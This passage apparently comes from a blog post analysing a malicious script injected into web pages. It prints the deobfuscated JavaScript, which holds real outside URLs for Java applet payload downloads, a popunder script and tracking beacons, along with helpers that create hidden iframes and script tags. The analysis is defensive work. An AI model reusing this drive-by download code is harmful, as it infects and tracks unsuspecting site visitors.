oYZ%0D%0AIaQzPqXt4b5tEPSfDcFp%2BPpfDCBsESVO1L4sIJBoDg%3DaI%2BPuJjPpXvzY2aGyPM%2Fm7qxy1OTxJa41%0D%0AI%2BBMEZgs3pPTDH9cH7YwEqjy3bAvDiCfPZ3cxC4rPPVpEygc1sLmJp2tEAPXJKbtUwQdLfraB7%2Fs%0D%0ACc7p6Kui0u8vJKAlIdtbDG82%0D%0A%2Ao%0D%0A'</span>));</pre>  </div></div></p>
<p><p>I’m not going to bother breaking that up, it is just a mess anyway.&#160; But in the end you get this very well formatted code:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> jsm_report_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> <span style="color: #0000ff">var</span> jsm_report_access = <span style="color: #006080">'http://c.statcounter.com/7397725/0/d06ca43d/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">var</span> jsm_report_javaon = <span style="color: #006080">'http://c.statcounter.com/7397829/0/58cba984/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">var</span> jsm_report_javaoff = <span style="color: #006080">'http://c.statcounter.com/7415811/0/6dbe4166/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">var</span> jsm_report_loaded = <span style="color: #006080">'http://c.statcounter.com/7415805/0/e6b0668f/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> <span style="color: #0000ff">var</span> jsm_report_loadfail = <span style="color: #006080">'http://c.statcounter.com/7415819/0/56a1ce39/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span> <span style="color: #0000ff">var</span> jsm_lab_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span> <span style="color: #0000ff">var</span> jsm_lab_access = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_access'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span> <span style="color: #0000ff">var</span> jsm_lab_javaon = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaon'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span> <span style="color: #0000ff">var</span> jsm_lab_javaoff = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaoff'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span> <span style="color: #0000ff">var</span> jsm_lab_loaded = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loaded'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span> <span style="color: #0000ff">var</span> jsm_lab_loadfail = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loadfail'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span> <span style="color: #0000ff">var</span> jsm_loaded = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span> <span style="color: #0000ff">var</span> jsm_applet_index = 1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span> <span style="color: #0000ff">var</span> jsm_applet_count = 200;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span> <span style="color: #0000ff">var</span> jsm_applet_prefix = <span style="color: #006080">'a'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span> <span style="color: #0000ff">var</span> jsm_applet_url = <span style="color: #006080">'http://advancedqualitysystem.com/Get/Get.php?a=/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span> <span style="color: #0000ff">var</span> jsm_popunder_url = <span style="color: #006080">'http://celularbom.com/js/clickpop.js'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> <span style="color: #0000ff">function</span> JSM_getAppletURL() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>     <span style="color: #008000">//alert(jsm_applet_url + jsm_applet_prefix + jsm_applet_index + '.jar');</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>     <span style="color: #0000ff">return</span> jsm_applet_url + jsm_applet_prefix + jsm_applet_index + <span style="color: #006080">'.jar'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span> <span style="color: #0000ff">function</span> JSM_createIframe(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>     <span style="color: #0000ff">var</span> iframe = document.createElement(<span style="color: #006080">'iframe'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>     iframe.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>     iframe.style.visibility = <span style="color: #006080">'hidden'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>     iframe.style.display = <span style="color: #006080">'inline'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>     iframe.style.margin = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>     iframe.style.padding = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>     iframe.style.border = <span style="color: #006080">'none'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     iframe.style.width = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     iframe.style.height = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>     <span style="color: #0000ff">return</span> iframe;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span> <span style="color: #0000ff">function</span> JSM_createScript(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>     <span style="color: #0000ff">var</span> script = document.createElement(<span style="color: #006080">'script'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     script.type = <span style="color: #006080">'text/javascript'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span>     script.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  42:</span>     <span style="color: #0000ff">return</span> script;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  43:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  44:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  45:</span> <span style="color: #0000ff">function</span> getXMLHttpRequest() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  46:</span>     <span style="color: #0000ff">if</span> (window.XMLHttpRequest) <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> window.XMLHttpRequest;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  47:</span>     <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  48:</span>         <span style="color: #0000ff">try</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  49:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> ActiveXObject(<span style="color: #006080">&quot;Microsoft.XMLHTTP&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  50:</span>         } <span style="color: #0000ff">catch</span> (ex) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  51:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  52:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  53:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  54:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  55:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  56:</span> <span style="color: #0000ff">function</span> JSM_labReport(url) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  57:</span>     <span style="color: #0000ff">var</span> oReq = getXMLHttpRequest();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  58:</span>     <span style="color: #0000ff">if</span> (oReq) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  59:</span>         oReq.onreadystatechange = <span style="color: #0000ff">function</span> () {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  60:</span>             <span style="color: #0000ff">if</span> (oReq.readyState == 4) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  61:</span>                 <span style="color: #0000ff">if</span> (oReq.status == 200) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  62:</span>                     <span style="color: #008000">//window.alert('from callback ' + oReq.responseText);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  63:</span>                 }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  64:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  65:</span>         };</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  66:</span>         oReq.open(<span style="color: #006080">&quot;GET&quot;</span>, url, <span style="color: #0000ff">true</span>);</pre></p>
